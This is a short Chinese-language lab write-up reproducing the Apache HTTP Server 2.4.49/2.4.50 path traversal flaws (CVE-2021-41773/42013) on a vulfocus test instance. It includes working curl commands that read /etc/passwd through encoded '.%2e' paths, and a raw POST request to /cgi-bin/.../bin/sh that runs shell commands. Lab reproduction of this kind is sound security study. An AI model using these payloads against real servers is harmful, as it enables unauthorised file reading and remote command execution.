Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。

0x01 环境配置

vulfocus CVE-2021-41773 CVE-2021-42013

0x02 影响版本

Apache HTTP Server 2.4.49、2.4.50

0x03 漏洞复现

启动环境,界面如下:

Untitled

curl -v --path-as-is <http://vulfocus.fofa.so:40327/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd>

Untitled

burp

Untitled

其中的/icons/必须是一个存在且可访问的目录)

getshell

curl -v --data "echo;id" '<http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh>'

在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:

Untitled

查看flag。

请求:

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: vulfocus.fofa.so:30896
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sat, 09 Oct 2021 03:58:16 GMT
If-None-Match: "29cd-5cde381698600-gzip"
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

echo;ls /tmp